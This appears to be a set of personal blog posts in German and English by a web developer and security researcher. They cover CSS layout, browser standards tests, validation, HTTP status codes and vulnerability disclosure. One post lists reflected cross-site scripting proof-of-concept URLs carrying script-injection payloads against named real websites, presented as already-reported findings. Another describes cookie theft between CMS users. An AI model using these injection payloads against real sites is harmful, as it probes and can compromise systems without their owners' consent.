Die Webseite von heise besitzt ein neues Design.

Für Freunde des anspruchsvollen HTML-Designs stößt dieser Abschnitt in der Meldung bitter auf:
Für langjährige Nutzer von heise online etwas ungewohnt dürfte die feste Seitenbreite sein. Diese hat sich inzwischen jedoch bei nahezu allen News-Portalen etabliert. Gerade bei sehr großen Monitoren ist es sehr unergonomisch, Zeilen zu lesen, die so breit sind wie eine Zeitschrift hoch ist.

Das Problem ist durchaus nachvollziehbar, insbesondere da Widescreen-Notebooks ja heutzutage mehr oder weniger zum Standard geworden sind (im übrigen meiner Meinung nach eine Sache, deren Erklärung ich noch harre - und mich ärgere, dass die Auswahl für mein nächstes Laptop dadurch enorm zusammenschrumpft). Weniger nachvollziehbar ist die verwendete Lösung, schlicht eine Festbreite einzusetzen, welche die Nutzbarkeit auf geringen Auflösungen oder nicht im Vollbild dargestellten Seiten (RSS-Reader!) doch enorm einschränkt.

Denn die Designer von HTML und CSS haben dieses Problem durchaus bedacht und auch eine Lösung dafür ersonnen: Die CSS-Properties max-width, max-height, min-width und min-height.

Damit möglich wird genau das, was man eigentlich in solch einem Fall möchte: Bei geringer Fensterbreite wird das Objekt dynamisch angepasst, ab einer bestimmten Größe nicht mehr.

Beispiel: Folgender Kasten wird maximal 400 Pixel breit. Bei geringen Auflösungen (auszuprobieren durch verkleinern des Browserfensters) passt er sich jedoch an.



Dass dieses Feature unter HTML-Designern noch relativ wenig Bekanntheit genießt, dürfte einen Grund haben: Zwar wurde max-width schon 1998 erfunden (CSS 2.0), die Unterstützung in Browsern (insbesondere dem von dieser Firma aus Redmond, aber auch andere, Konqueror konnte es auch noch nicht als ich das erste Mal darüber gelesen habe) war jedoch schlicht nicht vorauszusetzen. Mit der Version 7 ist jedoch selbst im Internet Explorer dieses Feature angekommen, weswegen einer Verwendung nichts mehr im Wege stehen sollte.

Wer auf die immer noch zahlreichen IE6-Nutzer verweist, möge eben eine Browserweiche einbauen - aber nicht die Nutzer moderner Software mit technischen Unzulänglichkeiten der 90er belästigen.

(Danke an Bernd, der mich auf die heise-Meldung aufmerksam machte, jedoch mangels Motivation nicht selbst darüber bloggen wollte.)

Seems with the latest versions of webkit-gtk and midori, a long-standing crasher-bug got fixed and it now allows you to run the browser-test ACID3.

I just bumped the webkit-gtk ebuild in Gentoo to the latest snapshot.

ACID3 is a test for the standards compliance of modern web browsers. I wrote about ACID2 some years ago.

I want to give some thoughts about some more advanced XSS-issues based on two vulnerability announcements I recently made.

First is backend XSS. I think this hasn't been adressed very much, most probably all CMS have this issue. If you have a CMS-System (a blog is also a CMS system in this case) with multiple users, there are various ways where users can XSS each other. The most obvious one is that it's common practice that a CMS gives you some way to publish raw html content.

Assuming you have a blog where multiple users are allowed to write articles. Alice writes an article, Eve doesn't like the content of that article. Eve can now write another article with some JavaScript adjusted to steal Alice's cookie. As soon as Alice is logged in and watches the frontpage with Eve's article, her cookie get's stolen, Eve can hijack her account and manipulate her articles.

Solution is not that simple. To prevent the XSS, you'd have to make sure that there's absolutely no way to put raw html code on the page. Serendipity for example has a plugin called trustxss which should do exactly that, though there are many ways to circumvent that (at least all I found should be fixed in 1.3-beta1, see advisory here: CVE-2008-0124). All fields like username, user-information etc. need to be escaped and it should be the default that users aren't allowed to post html. If a superuser enables html-posting for another user, he should be warned about the security implications.

A quite different way would be separating front- and backend on different domains. I don't know of any popular CMS currently doing that, but it would prevent a lot of vulnerabilities: The website content is, e.g., located on www.mydomain.com, while the backend is on edit.mydomain.com. It would add complexity to the application setup, especially on shared hosting environments.


Second issue is XSS/CSRF in the installer. I'm not really sure how I should classify these, as an open installer most probably has more security implications than just XSS. I recently discovered an XSS in the installer of moodle (CVE-2008-0123) which made me think about this.

I thought of a (real) scenario where I was sitting in a room with a group, discussing that we need a webpage, we would take Domain somedomain.de and install some webapp (in this case MediaWiki, but there I found no such issues) there. I suddenly started implementing that with my laptop. Other people in the room hearing the discussion could send me links to trigger some kind of XSS/CSRF there. This probably isn't a very likely scenario, but still, I'd suggest to prevent XSS/CSRF also in the installer of web applications.

I noted that my personal homepage on int21.de basically contained nothing relevant any more and was horribly outdated. Thus I decided that the time of personal homepages is over and I'll let it forward permanently to this blog (so my blog will get the fame and pagerank).

It still contains various subpages like howtos, cve advisories, they'll stay where they are.

Yesterday I did some maintenance of our server configuration and wondered what would be the correct way to handle unconfigured virtual hosts. E. g. what http-response should come if someone just enters the IP of our server or a domain that just isn't used for http.

At the moment, we're shipping a html-page explaining that it's an unconfigured domain, which is probably okay, but we ship it with HTTP code 200 (which means »OK«). I thought it should probably ship with some kind of error code so that search engines know there's no real webpage.
Now, reading RFC 2616 (HTTP 1.1) didn't answer the question to me. Most near is probably a 404, others we considered were 403, 503 or 204, but non of them seems to really match that situation. Maybe I should write some enhancement request to the IETF...

Comments appreciated, what would you think would be the correct status.

Gestern war wieder Webmontag in Karlsruhe. Ich hielt einen Vortrag über Datenschutz und Datensparsamkeit bei Webservern, im Kontext von Wir speichern nicht und dem kürzlichen Urteil gegen das Justizministerium, welches IP-Speicherung untersagte.
Die Diskussion war lebhaft, wobei es sehr schnell in Richtung juristische und politische Fragen ging, während der Vortrag sich eher auf die Technik bezog.
Slides Datenschutz und Datensparsamkeit als OpenDocument

Desweiteren gab es einen Vortrag zu OpenSocial, Bilder vom Barcamp und der Web 2.0 Expo Berlin und Lästereien über den neuen Kalender vom Karlsruher Stadtmarketing.

Zum guten Stil professionellen Webdesigns gehört inzwischen, valides (d. h. fehlerfreies) HTML einzusetzen. Testwerkzeug hierfür ist der Validator des W3C, dem Gremium, welches für die Standardisierung von HTML und Co. verantwortlich ist. Für einige Anforderungen, etwa Barrierefreiheit, ist valider Code sogar Voraussetzung (auch wenn viele Anbieter behaupten, barrierefreie Seiten zu erstellen, und dieses Grundkriterium nicht erfüllen).

Der Validator kommt seit kurzem in zeitgemäßerem Design und einigen neuen Features. Einige zusätzliche Fehlermeldungen und Warnungen erfordern nun noch mehr Sorgfalt vom Webdesigner.

Als erstes wurde mir mitgeteilt, dass meine XHTML-Seiten doch bitte mit dem MIME-Type xml ausgeliefert werden sollten, was ich ja gerne schon seit Jahren tun würde. Leider ist da wohl noch Stand der Dinge, dass ein Browser eines gewissen großen Herstellers, der unverständlicherweise immer noch sehr verbreitet ist, selbst in der neuesten Version 7 (die immerhin mal die gröbsten HTML/CSS-Bugs ausgemerzt hat), XHTML-Dokumente immer noch nicht mit XML-Mimetype akzeptiert.

Als kleiner Tipp, den ich immer wieder nützlich finde: Für XHTML-Seiten und andere XML-basierte Dokumente (etwa RSS und Atom-Feeds), kann mit

lynx --source http://someurl/ | xmllint --noout -

auf einfache Weise die Korrektheit des Codes überprüft werden. Ein Cron-Job ist hier sicher eine gute Idee.

Kleine Lehre von heute: Es ist prinzipiell keine gute Idee, wenn die Fehlermeldungen eines Web-Frameworks die Zugangsdaten zur Datenbank enthalten. Wenn sich dann gleichzeitig noch unter leicht auffindbarer URL ein phpMyAdmin befindet, ist das eher noch schlechter.
(URL und Projektname gibt's erstmal nicht, weil das bislang nur teilweise gefixt wurde)

Desweiteren soll es jetzt ein neues, aktiveres Stadtblog für Karlsruhe geben. Vielleicht schreib ich bei Gelegenheit auch mal das ein oder andere.

Ansonsten gab es einige Ideen in Richtung Barcamp auf Wasser (Bodensee oder Rhein). Hört sich erstmal ziemlich cool an, bin gespannt was daraus wird.

Links: Webmontag Karlsruhe

I thought I'd give you some more (all have been informed months ago):

http://thepiratebay.org/search/"><script>alert(1)</script>
http://www.gruene.de/cms/default/dok/144/144640.dokumentsuche.htm?execute=1&suche_voll_starten=1&volltext_suchbegriff="><script>alert(1)</script>
http://www.terions.de/index_whois.php?ddomain="><script>alert(1)</script>
http://www.eselfilme.com/newsletter/newsletter.php?action=sign&email="><script>alert(1)</script>
http://www.region-stuttgart.de/sixcms/rs_suche/?_suche="><script>alert(1)</script>
http://reports.internic.net/cgi/whois?whois_nic="><script>alert(1)</script>&type=domain

I still have some unresolved xss vulnerabilities around. It seems to be common practice by many web application developers and web designers to ignore such information.

This time we have gobi, a cms system based on the quite popular javascript application server helma.

http://int21.de/cve/CVE-2007-3693-gobi.txt

More to come. As this xss stuff is far too easy (try some common strings in web forms, inform the author, publish some weeks later), I think about doing some kind of automated mechanism to search and report those vulnerabilities.

I recently wrote that I'm sometimes a bit unhappy how security issues are handled in free software project.

Now, to have some contrast, today I'll talk about an example how to do it right. Serendipity, the software I'm using to host this blog, had an SQL injection vulnerability. On the same day, they announced it and provide updated packages. The finder of the vulnerability is also mentioned. Now, it is only able to get password-hashes, many other projects probably would've treated this vulnerability as »low-impact« or something like that.
But beside that, they also provide some tipps how to check if the vulnerability has already been exploitet and suggest to change user passwords.

A while back, there was another vulnerability reported in serendipity. The authors said they don't think that it's really a vulnerability and it probably can't be used for anything evil. But anyway, an update was released and announced just to be sure.

Now, that's good security-work. The fact that serendipity has very few vulnerabilities at all already is very good. The fact they treat the few ones proper is even better. Some other projects should have a look at that.

Bin gerade auf der Abschlussveranstaltung und Zeit für ein kleines Feedback.

Man hatte etwas den Eindruck, dass deutlich mehr Aussteller als Besucher anwesend waren. Lag vermutlich an den hohen Preisen, weswegen kaum Laufpublikum anwesend war. Das heiße Wetter tat sein übriges und führte auch dazu, dass die Menschen an den Infoständen meist etwas erschöpft aussahen ;-)
Kontakte gab's so nur wenige, einige Interessenten an CAcert, ein paar Ubuntu-CDs gingen weg. Trotz allem würd ich mich nächstes Mal wieder beteiligen.

Weitere Bilder sind eben auch hochgeladen worden.

In wenigen Stunden geht's los zur webinale open in Ludwigsburg. Dort werden wir als Linux User Group Backnang präsent sein, ebenso wird schokokeks.org sich präsentieren.

Am LUG-Stand werden wir verschiedene Projekte, unter anderem OpenStreetMap und CAcert, vorstellen, sowie Kubuntu-CDs verteilen und Compiz zeigen.

Erste Bilder

Up until recently, I had URLs of the form /item/number, which is due to the reason that this was the URL-naming-scheme of bblog, an ancient blogging software I used years back. Now serendipity supports URLs with the title (minus problematic charakters), which is much better for search engines, because they often rate words that appear in the url better. Now, changing the URL after years of blogging doesn't seem appropriate (probably hundreds of links, trackbacks, bookmarks), so I needed some migration path. Serendipity doesn't support two url schemes out of the box, so I hacked some bash to do the trick. This will generate (after changing the url) forward rules (add them to .htaccess after the s9y-stuff), which send a »moved permanently«-answer. This has do be done only once, as there won't be links on new articles with the old scheme.
It's a fast hack and it probably doesn't fit in other situations without changes, but it's a nice example how fast you get somewhere with some bash and sed magic:

for i in `seq 1 31`; do

        wget --quiet -O - http://www.hboeck.de/archives/P$i.html|grep serendipity_title | \

        sed -e 's:^.*href="\([^"]*\)">.*$:\1:g' | \

        sed -e 's:^/\w*/\(\w*\)-.*:RewriteRule ^item/\1 \0 [L,R=301]:g'

done

Gestern fiel mir ein Tippfehler im Titel eines wenige Tage zuvor geschriebenen Eintrages auf (Nachrichtem statt Nachrichten). Nun erlaubt es ja das elektronische Medium, im Gegensatz zum Gedruckten, derartige Schnitzer schnell und lautlos zu korrigieren.

Indes, und hier kommt ihr ins Spiel, glaube ich kaum, dass keinem meiner Leser dieser doch recht offensichtliche Tippfehler aufgefallen ist. Deswegen sei hier dazu aufgerufen: Tipp-, Rechtschreib-, Grammatik- oder auch rein faktische Fehler dürfen gerne in einer formlosen, kurzen eMail oder meinetwegen auch anonym als Kommentar gepostet werden (wird dann, wenn nicht weiter relevant, anschließend gelöscht).